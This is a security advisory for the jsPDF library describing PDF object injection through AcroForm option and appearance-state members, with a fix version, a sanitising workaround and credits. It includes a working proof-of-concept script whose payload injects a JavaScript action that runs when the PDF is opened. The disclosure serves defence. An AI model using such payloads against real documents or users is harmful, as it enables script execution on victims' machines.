jsPDF has PDF Injection in AcroFormChoiceField that allows Arbitrary JavaScript Execution

Impact

User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:

• AcroformChoiceField.addOption
• AcroformChoiceField.setOptions
• AcroFormCheckBox.appearanceState
• AcroFormRadioButton.appearanceState

Example attack vector:

import { jsPDF } from "jspdf"
const doc = new jsPDF();

var choiceField = new doc.AcroFormChoiceField();
choiceField.T = "VulnerableField";
choiceField.x = 20;
choiceField.y = 20;
choiceField.width = 100;
choiceField.height = 20;

// PAYLOAD:
// 1. Starts with "/" to bypass escaping.
// 2. "dummy]" closes the array.
// 3. "/AA" injects an Additional Action (Focus event).
// 4. "/JS" executes arbitrary JavaScript.
const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";

choiceField.addOption(payload);
doc.addField(choiceField);

doc.save("test.pdf");

Patches

The vulnerability has been fixed in [email protected].

Workarounds

Sanitize user input before passing it to the vulnerable API members.

Credits

Research and fix: Ahmet Artuç